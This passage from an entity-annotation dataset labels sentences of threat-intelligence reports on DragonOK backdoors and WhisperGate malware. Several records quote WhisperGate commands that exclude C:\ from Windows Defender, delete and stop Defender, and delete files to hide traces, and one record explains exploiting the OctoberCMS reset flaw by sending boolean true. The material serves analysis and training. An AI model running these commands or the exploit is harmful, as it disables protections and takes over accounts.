organization.","entities":[{"id":46637,"label":"attack-pattern","start_offset":9,"end_offset":27},{"id":46639,"label":"identity","start_offset":146,"end_offset":177},{"id":46638,"label":"identity","start_offset":39,"end_offset":61}],"relations":[{"id":203,"from_id":46637,"to_id":46639,"type":"targets"},{"id":202,"from_id":46637,"to_id":46638,"type":"targets"}],"Comments":[]} +{"id":1263,"text":"(Figure 2)","entities":[],"relations":[],"Comments":[]} +{"id":1264,"text":"Figure 2.","entities":[],"relations":[],"Comments":[]} +{"id":1265,"text":"Five Sysget samples used to target two Japanese organizations.","entities":[{"id":46640,"label":"identity","start_offset":39,"end_offset":61},{"id":46641,"label":"malware","start_offset":5,"end_offset":11}],"relations":[],"Comments":[]} +{"id":1266,"text":" Four of the five Sysget variants included a form of decoy document to trick users into believing they had opened a legitimate file rather than malware.","entities":[{"id":46642,"label":"malware","start_offset":18,"end_offset":24},{"id":44958,"label":"attack-pattern","start_offset":53,"end_offset":67}],"relations":[{"id":204,"from_id":46642,"to_id":44958,"type":"uses"}],"Comments":[]} +{"id":1267,"text":"Two of the executables used decoy documents that included information about obituaries.","entities":[],"relations":[],"Comments":[]} +{"id":1268,"text":"Figure 3 shows a GIF file containing an obituary notice for a woman, while Figure 4 shows a Microsoft Word document containing the obituary of a man.","entities":[{"id":46643,"label":"SOFTWARE","start_offset":92,"end_offset":106}],"relations":[],"Comments":[]} +{"id":1269,"text":" Figure 3. Japanese decoy document containing an obituary notice for a woman.","entities":[{"id":44959,"label":"attack-pattern","start_offset":20,"end_offset":34}],"relations":[],"Comments":[]} +{"id":1270,"text":" Figure 4. Japanese decoy document containing an obituary notice for a woman.","entities":[{"id":46644,"label":"attack-pattern","start_offset":20,"end_offset":34}],"relations":[],"Comments":[]} +{"id":1271,"text":" The Sysget sample with a PDF icon created a second executable, named Adobe.exe, which simply displayed the following warning.","entities":[{"id":46645,"label":"malware","start_offset":5,"end_offset":11},{"id":46646,"label":"FILEPATH","start_offset":70,"end_offset":79}],"relations":[],"Comments":[]} +{"id":1272,"text":" Figure 5. Error message generated by Adobe.exe ","entities":[{"id":44960,"label":"FILEPATH","start_offset":38,"end_offset":47}],"relations":[],"Comments":[]} +{"id":1273,"text":"The final Sysget sample used a Microsoft Excel icon and opened an Excel document that contained cells filled with “XXXXXX.”","entities":[{"id":46648,"label":"SOFTWARE","start_offset":66,"end_offset":71},{"id":46647,"label":"SOFTWARE","start_offset":31,"end_offset":46},{"id":46649,"label":"malware","start_offset":9,"end_offset":16}],"relations":[],"Comments":[]} +{"id":1274,"text":"(Figure 6) Figure 6.","entities":[],"relations":[],"Comments":[]} +{"id":1275,"text":"Excel spreadsheet with Xs in multiple rows and columns.","entities":[{"id":44961,"label":"SOFTWARE","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]} +{"id":1276,"text":" These Sysget variants appear to be a first stage payload in these attacks.","entities":[{"id":46650,"label":"malware","start_offset":7,"end_offset":13}],"relations":[],"Comments":[]} +{"id":1277,"text":"During analysis of this threat, we identified five additional backdoor tools hosted on biosnews[.]info which may be downloaded by the Sysget variants once the attackers have established a foothold.","entities":[{"id":46651,"label":"DOMAIN","start_offset":87,"end_offset":102},{"id":46652,"label":"malware","start_offset":134,"end_offset":140}],"relations":[{"id":206,"from_id":46651,"to_id":46652,"type":"hosts"}],"Comments":[]} +{"id":1278,"text":" Three of the backdoors, NFlog, PoisonIvy, and NewCT have previously been publicly associated with DragonOK.","entities":[{"id":44962,"label":"malware","start_offset":25,"end_offset":30},{"id":44963,"label":"malware","start_offset":32,"end_offset":41},{"id":44964,"label":"malware","start_offset":47,"end_offset":52},{"id":44965,"label":"threat-actor","start_offset":99,"end_offset":107}],"relations":[{"id":48,"from_id":44962,"to_id":44965,"type":"authored-by"},{"id":47,"from_id":44963,"to_id":44965,"type":"authored-by"},{"id":46,"from_id":44964,"to_id":44965,"type":"authored-by"}],"Comments":[]} +{"id":1279,"text":"Additionally, the actors have now added the popular PlugX backdoor to their toolkit.","entities":[{"id":46653,"label":"malware","start_offset":52,"end_offset":66}],"relations":[],"Comments":[]} +{"id":1280,"text":"An additional backdoor appears to be a new, custom-built tool, which we have not previously associated with DragonOK or any other attack group.","entities":[{"id":46654,"label":"threat-actor","start_offset":108,"end_offset":116}],"relations":[],"Comments":[]} +{"id":1281,"text":"We’ve named this tool “FormerFirstRAT” as it appears to be the names used by the developers to refer to their creations.","entities":[{"id":44966,"label":"malware","start_offset":23,"end_offset":37}],"relations":[],"Comments":[]} +{"id":1282,"text":"Figure 7 shows the relationship between these backdoors and their respective command and control servers.","entities":[],"relations":[],"Comments":[]} +{"id":1283,"text":" Figure 7. Relationship between five additional backdoors used by DragonOK and their C2 servers in this campaign.","entities":[{"id":46655,"label":"threat-actor","start_offset":66,"end_offset":74},{"id":46656,"label":"Infrastucture","start_offset":85,"end_offset":95}],"relations":[{"id":208,"from_id":46655,"to_id":46656,"type":"uses"}],"Comments":[]} +{"id":1284,"text":" The following section details the functionality of the malware deployed in this campaign.","entities":[],"relations":[],"Comments":[]} +{"id":1285,"text":" Sysget\/HelloBridge ","entities":[{"id":46657,"label":"malware","start_offset":1,"end_offset":7},{"id":46658,"label":"malware","start_offset":8,"end_offset":19}],"relations":[],"Comments":[]} +{"id":1286,"text":"In this campaign, Sysget samples were attached to e-mails and used various icons to trick users into infecting their systems.","entities":[{"id":46659,"label":"malware","start_offset":18,"end_offset":24}],"relations":[],"Comments":[]} +{"id":1287,"text":"The majority of these samples are self-extracting executables that contain both a malicious downloader, along with a legitimate file.","entities":[{"id":44967,"label":"attack-pattern","start_offset":82,"end_offset":102}],"relations":[],"Comments":[]} +{"id":1288,"text":"When the self-extracting executable is launched, the downloader and legitimate file are typically dropped in one of the following directories and then executed: When the malicious downloader is executed, it begins by creating the 'mcsong[]' event in order to ensure one instance is running.","entities":[{"id":46660,"label":"attack-pattern","start_offset":171,"end_offset":191}],"relations":[],"Comments":[]} +{"id":1289,"text":"It then spawns a new instance of 'C:\\\\windows\\\\system32\\\\cmd.exe' with a window name of 'Chrome-Update'.","entities":[{"id":46661,"label":"FILEPATH","start_offset":34,"end_offset":64}],"relations":[],"Comments":[]} +{"id":1290,"text":"It attempts to obtain a handle to this window using the FindWindowW API call and then proceeds to send the following command to this executable.","entities":[],"relations":[],"Comments":[]} +{"id":1291,"text":"This allows the malware to indirectly execute a command within the cmd.exe process.","entities":[{"id":3938,"label":"malware","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]} +{"id":1292,"text":" This registry key will ensure an executable that it later downloads is configured to persist across reboots.","entities":[],"relations":[],"Comments":[]} +{"id":1293,"text":"It then sends the 'exit' command to this executable, which will kill this particular process.","entities":[],"relations":[],"Comments":[]} +{"id":1294,"text":" The malware then attempts to read the following file.","entities":[],"relations":[],"Comments":[]} +{"id":1295,"text":"This file is used to store a key that is later used to decrypt data received during network communications.","entities":[],"relations":[],"Comments":[]} +{"id":1296,"text":" If the file does not exist, it will make the following GET request: The filename and name parameters are statically set in the above request.","entities":[],"relations":[],"Comments":[]} +{"id":1297,"text":"The server responds with data similar to the following: The first two pieces of data ('17' and 'gh204503254') are then written to the ibmCon6.tmp file referenced earlier.","entities":[{"id":46662,"label":"FILEPATH","start_offset":135,"end_offset":146}],"relations":[],"Comments":[]} +{"id":1298,"text":" The malware will copy itself to the %TEMP% directory with the executable name of 'notilv.exe'.","entities":[{"id":46663,"label":"FILEPATH","start_offset":37,"end_offset":43},{"id":46664,"label":"FILEPATH","start_offset":83,"end_offset":93}],"relations":[],"Comments":[]} +{"id":1299,"text":"Due to the previously written registry key, this file will execute when the machine is restarted and the current user logs in.","entities":[],"relations":[],"Comments":[]} +{"id":1300,"text":" The malware then makes the following request: The filename and uid parameters are statically set in the above request.","entities":[],"relations":[],"Comments":[]} +{"id":1301,"text":"The response data is decrypted using the RC4 cryptographic stream cipher.","entities":[],"relations":[],"Comments":[]} +{"id":1302,"text":"The 'gh204503254' data that was previously downloaded is used as the key.","entities":[],"relations":[],"Comments":[]} +{"id":1303,"text":"The following Python code can be used for decryption, using the 'gh204503254' key: At this stage, the remote server can send a number of different responses.","entities":[],"relations":[],"Comments":[]} +{"id":1304,"text":"The following example response will instruct the malware to download a remote executable file: 'filename.exe' is the path where the downloaded file will be stored, and '01234567890123456789012345678901' is the value supplied in the subsequent HTTP request.","entities":[{"id":46665,"label":"FILEPATH","start_offset":97,"end_offset":109}],"relations":[],"Comments":[]} +{"id":1305,"text":"When this command is received, the following example request is made:","entities":[],"relations":[],"Comments":[]} +{"id":1306,"text":" At this point, the remote server will respond with an unencrypted file that the malware saves to the system.","entities":[],"relations":[],"Comments":[]} +{"id":1307,"text":" The remote server can also send the following example response.","entities":[],"relations":[],"Comments":[]} +{"id":1308,"text":"This response will instruct the malware to upload the specified file:","entities":[],"relations":[],"Comments":[]} +{"id":1309,"text":" An example upload request can be seen below: The remote server can also send the following example response.","entities":[],"relations":[],"Comments":[]} +{"id":1310,"text":"This response will instruct the malware to execute the given command: The results of this -execution are stored in a temporary text file in the %TEMP% directory.","entities":[{"id":46666,"label":"FILEPATH","start_offset":145,"end_offset":151}],"relations":[],"Comments":[]} +{"id":1311,"text":"These results are encrypted using the same technique mentioned previously.","entities":[],"relations":[],"Comments":[]} +{"id":1312,"text":"An example upload of these results can be seen below: PlugX PlugX is a backdoor that is often used by actors in targeted attacks.","entities":[{"id":3977,"label":"malware","start_offset":55,"end_offset":60},{"id":3978,"label":"malware","start_offset":62,"end_offset":67}],"relations":[],"Comments":[]} +{"id":1313,"text":"This version of PlugX attempts to disguise itself as a Symantec product.","entities":[{"id":3979,"label":"malware","start_offset":16,"end_offset":21},{"id":46667,"label":"identity","start_offset":55,"end_offset":63}],"relations":[],"Comments":[]} +{"id":1314,"text":"The following icon is present in this sample: Figure 8.","entities":[],"relations":[],"Comments":[]} +{"id":1315,"text":"PlugX file uses Symantec logo icon.","entities":[{"id":3983,"label":"malware","start_offset":0,"end_offset":5},{"id":46668,"label":"identity","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]} +{"id":1316,"text":" Upon execution, the malware will install itself as a service with the following parameters: It may also set the following registry key for persistence:","entities":[],"relations":[],"Comments":[]} +{"id":1317,"text":" PlugX is a well-studied malware family with a long history of use in targeted attacks.","entities":[{"id":44968,"label":"malware","start_offset":1,"end_offset":6}],"relations":[],"Comments":[]} +{"id":1318,"text":"More information on its history is available at the following links.","entities":[],"relations":[],"Comments":[]} +{"id":1319,"text":" FormerFirstRAT This remote administration tool (RAT) is referred to as “FormerFirstRAT” by its authors.","entities":[{"id":3989,"label":"malware","start_offset":1,"end_offset":15},{"id":3992,"label":"malware","start_offset":74,"end_offset":88}],"relations":[],"Comments":[]} +{"id":1320,"text":"FormerFirstRAT communicates using unencrypted HTTP over port 443; the use of mismatching ports and communication protocols is not uncommon in targeted attack campaigns.","entities":[{"id":3993,"label":"malware","start_offset":0,"end_offset":14},{"id":46669,"label":"campaign","start_offset":142,"end_offset":167}],"relations":[{"id":210,"from_id":46669,"to_id":3993,"type":"uses"}],"Comments":[]} +{"id":1321,"text":"In addition, port \/ protocol mis-match traffic can be an indicator of bad activity.","entities":[],"relations":[],"Comments":[]} +{"id":1322,"text":" When the malware starts, it writes the following registry key to ensure persistence: The malware then proceeds to send an HTTP POST request with information about the victim system.","entities":[],"relations":[],"Comments":[]} +{"id":1323,"text":"The following information is collected:","entities":[],"relations":[],"Comments":[]} +{"id":1324,"text":" The following settings are used for command and control: The malware encrypts network communication using the AES128 encryption cipher.","entities":[],"relations":[],"Comments":[]} +{"id":1325,"text":"It uses the MD5 of 'tucwatkins' in order to generate the key.","entities":[],"relations":[],"Comments":[]} +{"id":1326,"text":"All data is sent via HTTP POST requests.","entities":[],"relations":[],"Comments":[]} +{"id":1327,"text":"While not a distinct TTP, the author of this malware may be a soap-opera fan.","entities":[],"relations":[],"Comments":[]} +{"id":1328,"text":"The following code demonstrates how you can decrypt the malware communications using Python: The malware then enters a loop where it will send out periodic requests to the remote server.","entities":[],"relations":[],"Comments":[]} +{"id":1329,"text":"The remote server has the ability to respond and provide instructions to the RAT.","entities":[],"relations":[],"Comments":[]} +{"id":1330,"text":"We have identified the following functionalities:","entities":[],"relations":[],"Comments":[]} +{"id":1331,"text":" An example HTTP POST request can be seen below. NFlog When loaded inside of a running process, NFlog begins by spawning a new thread.","entities":[{"id":4011,"label":"malware","start_offset":50,"end_offset":55},{"id":4012,"label":"malware","start_offset":98,"end_offset":103}],"relations":[],"Comments":[]} +{"id":1332,"text":"This new thread is responsible for all malicious activities produced by this DLL.","entities":[],"relations":[],"Comments":[]} +{"id":1333,"text":"Initially, the malware will set the following registry key: Where [current_executable_filename] is the path to the current running executable, which is acquired via a call to GetModuleFileNameA.","entities":[],"relations":[],"Comments":[]} +{"id":1334,"text":"This registry key ensures that the malware will persist across reboots when the current user logs in.","entities":[],"relations":[],"Comments":[]} +{"id":1335,"text":" Multiple string obfuscation routines are included in this malware sample.","entities":[],"relations":[],"Comments":[]} +{"id":1336,"text":"Strings contained in the binary are decrypted via a simple binary XOR against a single byte key of 0x25.","entities":[],"relations":[],"Comments":[]} +{"id":1337,"text":" The malware proceeds to create a named event object of 'GoogleZCM' and uses this event in order to ensure only one instance of this malware is running at a given time.","entities":[],"relations":[],"Comments":[]} +{"id":1338,"text":" The malware proceeds to make an attempt at binding to the local host on port 1139.","entities":[],"relations":[],"Comments":[]} +{"id":1339,"text":" The malware attempts to ensure Internet connectivity by making a request to www.microsoft.com.","entities":[{"id":46670,"label":"DOMAIN","start_offset":77,"end_offset":94}],"relations":[],"Comments":[]} +{"id":1340,"text":"An example request is shown below.","entities":[],"relations":[],"Comments":[]} +{"id":1341,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":1342,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]} +{"id":1343,"text":"This post is also available in: 日本語 (Japanese) Beginning on Jan. 14, 2022, reports began emerging about a series of attacks targeting numerous Ukrainian government websites.","entities":[{"id":46672,"label":"identity","start_offset":149,"end_offset":169},{"id":46671,"label":"TIME","start_offset":66,"end_offset":79}],"relations":[],"Comments":[]} +{"id":1344,"text":"As a result of these attacks, numerous government websites were found to be either defaced or inaccessible.","entities":[],"relations":[],"Comments":[]} +{"id":1346,"text":"A day later, public reporting outlined new malware called WhisperGate that originally was observed on Jan. 13, 2022.","entities":[{"id":46675,"label":"TIME","start_offset":102,"end_offset":115},{"id":46676,"label":"malware","start_offset":58,"end_offset":69}],"relations":[],"Comments":[]} +{"id":1347,"text":"This malware disables Windows Defender Threat Protection, is destructive in nature and was discovered to have targeted multiple organizations in Ukraine.","entities":[{"id":44970,"label":"SOFTWARE","start_offset":22,"end_offset":56},{"id":44971,"label":"location","start_offset":145,"end_offset":152}],"relations":[],"Comments":[]} +{"id":1348,"text":"Microsoft has publicly attributed the use of this custom malware to a threat actor they refer to as DEV-0586.","entities":[{"id":4045,"label":"threat-actor","start_offset":100,"end_offset":108},{"id":46677,"label":"identity","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]} +{"id":1349,"text":" Though both attacks have targeted Ukrainian organizations, the two threats have so far been implemented in separate situations.","entities":[{"id":46678,"label":"identity","start_offset":35,"end_offset":58}],"relations":[],"Comments":[]} +{"id":1350,"text":" As a result of these events, Palo Alto Networks researchers took immediate action to ensure that customers anywhere in the world can be appropriately protected against these reported threats, however they may be exploited.","entities":[{"id":44972,"label":"identity","start_offset":30,"end_offset":48}],"relations":[],"Comments":[]} +{"id":1351,"text":"These attacks ultimately resulted in the investigation of the following two threats: Palo Alto Networks customers can use Xpanse or Threat Prevention for the Next-Generation Firewall to identify vulnerable and\/or internet-facing instances of OctoberCMS.","entities":[{"id":46679,"label":"identity","start_offset":86,"end_offset":104},{"id":46680,"label":"SOFTWARE","start_offset":123,"end_offset":129},{"id":46681,"label":"SOFTWARE","start_offset":133,"end_offset":150},{"id":46682,"label":"SOFTWARE","start_offset":243,"end_offset":253}],"relations":[],"Comments":[]} +{"id":1352,"text":"Protections against WhisperGate malware have been included in Cortex XDR, as well as in the WildFire and Advanced URL Filtering subscriptions for the Next-Generation Firewall.","entities":[{"id":4060,"label":"SOFTWARE","start_offset":92,"end_offset":100},{"id":4058,"label":"malware","start_offset":20,"end_offset":31},{"id":46683,"label":"SOFTWARE","start_offset":62,"end_offset":72}],"relations":[],"Comments":[]} +{"id":1353,"text":"There is a Cortex XSOAR pack available to assist with detecting and mitigating both threats.","entities":[{"id":44973,"label":"SOFTWARE","start_offset":11,"end_offset":23}],"relations":[],"Comments":[]} +{"id":1354,"text":" CVE-2021-32648 Vulnerability WhisperGate Malware Family Mitigation Actions Hunting for WhisperGate Conclusion Additional Resources","entities":[{"id":46685,"label":"malware","start_offset":30,"end_offset":41},{"id":46684,"label":"vulnerability","start_offset":1,"end_offset":15},{"id":46686,"label":"malware","start_offset":88,"end_offset":99}],"relations":[],"Comments":[]} +{"id":1355,"text":" The CVE-2021-32648 vulnerability lies within the OctoberCMS platform prior to version 1.0.472 and results in an attacker gaining access to any account via a specially crafted account password reset request.","entities":[{"id":46687,"label":"vulnerability","start_offset":5,"end_offset":19},{"id":46688,"label":"SOFTWARE","start_offset":50,"end_offset":60}],"relations":[{"id":211,"from_id":46688,"to_id":46687,"type":"has"}],"Comments":[]} +{"id":1356,"text":"This vulnerability is believed to have allowed threat actors to gain access to the underlying websites leveraged by the Ukraine government.","entities":[{"id":44974,"label":"identity","start_offset":120,"end_offset":138}],"relations":[],"Comments":[]} +{"id":1357,"text":" Once the vulnerability was discovered, Palo Alto Networks threat researchers quickly began reverse-engineering the patch that remediated this vulnerability and were able to produce a working proof of concept (PoC) in a very short time.","entities":[{"id":46689,"label":"identity","start_offset":40,"end_offset":58}],"relations":[],"Comments":[]} +{"id":1358,"text":"Later that day, a public PoC surfaced, allowing organizations to better understand this vulnerability and how it is exploited.","entities":[{"id":4075,"label":"TIME","start_offset":0,"end_offset":14}],"relations":[],"Comments":[]} +{"id":1359,"text":"Using our PoC, we created the following demonstration video of how a malicious actor would exploit the CVE-2021-32648 vulnerability, log into the compromised OctoberCMS account and to deface a web page hosted by the server:","entities":[{"id":44975,"label":"vulnerability","start_offset":103,"end_offset":117},{"id":44976,"label":"SOFTWARE","start_offset":158,"end_offset":168}],"relations":[{"id":49,"from_id":44976,"to_id":44975,"type":"has"}],"Comments":[]} +{"id":1360,"text":"To determine how this vulnerability was exploited, we analyzed the patch that developers added to OctoberCMS version 1.0.472 to mitigate the CVE-2021-32648 vulnerability.","entities":[{"id":46690,"label":"vulnerability","start_offset":141,"end_offset":155},{"id":46692,"label":"SOFTWARE","start_offset":98,"end_offset":108}],"relations":[{"id":212,"from_id":46692,"to_id":46690,"type":"has"}],"Comments":[]} +{"id":1361,"text":"We discovered that the vulnerable code existed in the Auth\/Models\/User.php file within the October Rain library of OctoberCMS.","entities":[{"id":46693,"label":"FILEPATH","start_offset":54,"end_offset":74},{"id":46694,"label":"SOFTWARE","start_offset":115,"end_offset":125}],"relations":[],"Comments":[]} +{"id":1362,"text":"The code that exposes this vulnerability is within a function named checkResetPasswordCode, specifically, line 281 in User.php.","entities":[{"id":44977,"label":"FILEPATH","start_offset":118,"end_offset":126}],"relations":[],"Comments":[]} +{"id":1363,"text":"The following line of code attempts to validate the inbound password reset request by comparing the reset code submitted within the HTTP request with the reset code generated by OctoberCMS during a legitimate reset process: To exploit this vulnerability, the actor would simply supply a boolean true value as the reset code within a custom-crafted HTTP request to reset the password of an account.","entities":[{"id":46695,"label":"SOFTWARE","start_offset":178,"end_offset":188}],"relations":[],"Comments":[]} +{"id":1364,"text":"By supplying the boolean true, the comparison between boolean true and the reset code string results in a boolean true, even though the two variables have different types.","entities":[],"relations":[],"Comments":[]} +{"id":1365,"text":"This effectively validates the actor’s inbound password reset request, which allows the actor to then change the password To fix this vulnerability in version 1.0.472, the OctoberCMS developer changed the line of code above to use === instead of == when comparing the values of the reset code provided by the user via an HTTP POST request.","entities":[{"id":44978,"label":"SOFTWARE","start_offset":173,"end_offset":183}],"relations":[],"Comments":[]} +{"id":1366,"text":"The difference between === and == involves the === comparing the value and type of value of the variable, not just the value, as happens when using ==.","entities":[],"relations":[],"Comments":[]} +{"id":1367,"text":"To demonstrate the difference, the following two commands run PHP code to show that a comparison of the string code with boolean true using == results in a boolean true, while the same comparison using === results in a boolean false: As a result of the analysis of the CVE-2021-32648 vulnerability, various product protections were created or enhanced.","entities":[{"id":46696,"label":"vulnerability","start_offset":270,"end_offset":284}],"relations":[],"Comments":[]} +{"id":1368,"text":"More information about these protections can be found within the Mitigation Actions section of the briefing.","entities":[],"relations":[],"Comments":[]} +{"id":1369,"text":" First observed by Microsoft on Jan. 13, 2022, WhisperGate malware is computer network attack (CNA) malware aimed at deleting Microsoft Windows Defender and corrupting files on the target.","entities":[{"id":46699,"label":"identity","start_offset":19,"end_offset":29},{"id":46697,"label":"SOFTWARE","start_offset":126,"end_offset":152},{"id":46698,"label":"TIME","start_offset":32,"end_offset":45},{"id":46700,"label":"malware","start_offset":47,"end_offset":58}],"relations":[],"Comments":[]} +{"id":1370,"text":"It consists of two samples: One appears as ransomware while the other is a beaconing implant used to deliver an in-memory Microsoft Intermediate Language (MSIL) payload.","entities":[{"id":4118,"label":"identity","start_offset":122,"end_offset":131}],"relations":[],"Comments":[]} +{"id":1371,"text":"The in-memory code uses Living Off the Land Binaries (LOLBINs) to evade detection and also performs anti-analysis techniques, as it will fail to detonate when certain monitoring tools exist.","entities":[{"id":44979,"label":"tools","start_offset":24,"end_offset":62}],"relations":[],"Comments":[]} +{"id":1372,"text":"At the time of writing, there are two known samples identified as WhisperGate: Stage1.exe and Stage2.exe.","entities":[{"id":46701,"label":"malware","start_offset":66,"end_offset":77},{"id":46702,"label":"FILEPATH","start_offset":79,"end_offset":89},{"id":46703,"label":"FILEPATH","start_offset":94,"end_offset":104}],"relations":[],"Comments":[]} +{"id":1373,"text":"Stage1.exe purports to be ransomware, as it overwrites the target’s master boot record with 512 bytes and upon reboot displays the following ransom note: Stage2.exe is a beaconing implant that performs an HTTPS connection to download a JPG file hosted on Discord’s content delivery network (CDN).","entities":[{"id":46706,"label":"FILEPATH","start_offset":155,"end_offset":165},{"id":46707,"label":"Infrastucture","start_offset":256,"end_offset":296},{"id":46705,"label":"FILEPATH","start_offset":0,"end_offset":10}],"relations":[{"id":213,"from_id":46706,"to_id":46707,"type":"beacons-to"}],"Comments":[]} +{"id":1374,"text":"Discord’s CDN is a user-created service that allows users to host attachments and is not malicious.","entities":[{"id":46708,"label":"SOFTWARE","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]} +{"id":1375,"text":"The hosted file is retrieved from the following URL: hxxps:\/\/cdn.discordapp[.]com\/attachments\/928503440139771947\/930108637681184768\/Tbopbh.jpg","entities":[{"id":46709,"label":"URL","start_offset":54,"end_offset":143}],"relations":[],"Comments":[]} +{"id":1376,"text":"File Tbopbh.jpg is the malicious payload that is in-memory loaded and kicks off the destructive capabilities.","entities":[{"id":46710,"label":"FILEPATH","start_offset":5,"end_offset":15}],"relations":[],"Comments":[]} +{"id":1377,"text":"The following patterns of activities are associated with this payload: 1. File InstallUtil.exe is copied to the host’s %TEMP% directory, e.g. C:\\Users\\[USERNAME]\\AppData\\Local\\Temp.","entities":[{"id":44981,"label":"FILEPATH","start_offset":80,"end_offset":95},{"id":44983,"label":"FILEPATH","start_offset":120,"end_offset":126},{"id":44982,"label":"FILEPATH","start_offset":143,"end_offset":181}],"relations":[],"Comments":[]} +{"id":1378,"text":"This file is a legitimate Microsoft Windows binary.","entities":[{"id":4137,"label":"identity","start_offset":26,"end_offset":35}],"relations":[],"Comments":[]} +{"id":1379,"text":"Two instances of PowerShell are spawned with an encoded command to sleep for 10 seconds, e.g. C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA== 3.","entities":[{"id":46711,"label":"FILEPATH","start_offset":94,"end_offset":151},{"id":46712,"label":"tools","start_offset":17,"end_offset":27}],"relations":[],"Comments":[]} +{"id":1380,"text":"A Visual Basic Script (VBS) is created in C:\\Users\\[USERNAME]\\AppData\\Local\\Temp named: Nmddfrqqrbyjeygggda.vbs 4. Process wscript.exe is used to execute the VBS script in step 3.","entities":[{"id":44985,"label":"FILEPATH","start_offset":88,"end_offset":111},{"id":44986,"label":"FILEPATH","start_offset":124,"end_offset":135},{"id":44984,"label":"FILEPATH","start_offset":42,"end_offset":80}],"relations":[],"Comments":[]} +{"id":1381,"text":"The VBS script is used to call PowerShell to set Windows Defender exclusion path to C:\\ e.g. C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Set-MpPreference -ExclusionPath 'C:\\' 5. AdvancedRun.exe is created and written to the C:\\Users\\[USERNAME]\\AppData\\Local\\Temp directory. 6.","entities":[{"id":46713,"label":"FILEPATH","start_offset":84,"end_offset":87},{"id":46716,"label":"FILEPATH","start_offset":185,"end_offset":188},{"id":46718,"label":"tools","start_offset":49,"end_offset":65},{"id":46714,"label":"FILEPATH","start_offset":93,"end_offset":150},{"id":46715,"label":"FILEPATH","start_offset":194,"end_offset":209},{"id":46717,"label":"FILEPATH","start_offset":240,"end_offset":278},{"id":46719,"label":"tools","start_offset":31,"end_offset":41},{"id":46720,"label":"tools","start_offset":4,"end_offset":14}],"relations":[],"Comments":[]} +{"id":1382,"text":"AdvancedRun.exe is used to execute PowerShell.exe to delete and stop Windows Defender.","entities":[{"id":46721,"label":"FILEPATH","start_offset":0,"end_offset":15},{"id":46722,"label":"FILEPATH","start_offset":35,"end_offset":49},{"id":46723,"label":"SOFTWARE","start_offset":69,"end_offset":85}],"relations":[],"Comments":[]} +{"id":1383,"text":"The following command parameters are passed to AdvancedRun: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" \/WindowState 0 \/CommandLine \"rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse\" \/StartDirectory \"\" \/RunAs 8 \/Run \"C:\\Users\\USERNAME]AppData\\Local\\Temp\\AdvancedRun.exe\" \/EXEFilename \"C:\\Windows\\System32\\sc.exe\" \/WindowState 0 \/CommandLine \"stop WinDefend\" \/StartDirectory \"\" \/RunAs 8 \/Run 7.","entities":[{"id":44990,"label":"FILEPATH","start_offset":313,"end_offset":339},{"id":44987,"label":"FILEPATH","start_offset":62,"end_offset":119},{"id":44988,"label":"FILEPATH","start_offset":157,"end_offset":198},{"id":44989,"label":"FILEPATH","start_offset":245,"end_offset":297},{"id":46724,"label":"SOFTWARE","start_offset":47,"end_offset":58}],"relations":[],"Comments":[]} +{"id":1384,"text":"PowerShell process used to delete Windows Defender, e.g. C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse 8. File InstallUtil.exe running from C:\\Users\\[USERNAME]\\AppData\\Local\\Temp directory.","entities":[{"id":4148,"label":"tools","start_offset":0,"end_offset":10},{"id":46727,"label":"FILEPATH","start_offset":122,"end_offset":163},{"id":46726,"label":"FILEPATH","start_offset":57,"end_offset":114},{"id":46728,"label":"FILEPATH","start_offset":183,"end_offset":198},{"id":46725,"label":"tools","start_offset":34,"end_offset":50},{"id":46729,"label":"FILEPATH","start_offset":212,"end_offset":251}],"relations":[],"Comments":[]} +{"id":1385,"text":"The in-memory payload (Tbopbh.jpg) is running within the context of the InstallUtil.exe process 9. Multiple instances of cmd.exe calling Ping.exe to delete file InstallUtil.exe, e.g. cmd.exe \/min \/C ping 111.111.111[.]111 -n 5 -w 10 > Nul & Del \/f \/q %TEMP%\\InstallUtil.exe 10. File AdvancedRun.exe is deleted from the C:\\Users\\[USERNAME]\\AppData\\Local\\Temp directory by the stage2.exe binary. 11. ICMP traffic to host: 111.111.111[.]111 12.","entities":[{"id":4149,"label":"malware","start_offset":122,"end_offset":129},{"id":4150,"label":"malware","start_offset":184,"end_offset":191},{"id":4151,"label":"tools","start_offset":200,"end_offset":204},{"id":4152,"label":"IPV4","start_offset":205,"end_offset":222},{"id":4154,"label":"IPV4","start_offset":423,"end_offset":440},{"id":46732,"label":"FILEPATH","start_offset":285,"end_offset":300},{"id":46730,"label":"FILEPATH","start_offset":23,"end_offset":33},{"id":46731,"label":"FILEPATH","start_offset":252,"end_offset":274},{"id":46733,"label":"FILEPATH","start_offset":321,"end_offset":387}],"relations":[],"Comments":[]} +{"id":1386,"text":"All files and directories, including those on mounted USB drives, excluding the floppy drive (A:) are targeted.","entities":[{"id":46734,"label":"FILEPATH","start_offset":94,"end_offset":96}],"relations":[],"Comments":[]} +{"id":1387,"text":"The following file extensions are overwritten with a one-byte value of 0xCC.","entities":[],"relations":[],"Comments":[]} +{"id":1388,"text":" 13. Targeted files greater than one megabyte are truncated to one megabyte when overwritten.","entities":[],"relations":[],"Comments":[]} +{"id":1389,"text":" 14. Virus & Threat protection is no longer available from Windows Security.","entities":[{"id":46735,"label":"SOFTWARE","start_offset":59,"end_offset":75}],"relations":[],"Comments":[]} +{"id":1390,"text":" Organizations running OctoberCMS prior to Build 472 and v1.1.5 are encouraged to update to the latest version.","entities":[{"id":46736,"label":"SOFTWARE","start_offset":23,"end_offset":33}],"relations":[],"Comments":[]} +{"id":1391,"text":"Additionally, in order for this vulnerability to be exploited, the web server must be running PHP below 7.4.","entities":[{"id":46737,"label":"SOFTWARE","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]} +{"id":1392,"text":" Palo Alto Networks customers receive protections against the OctoberCMS 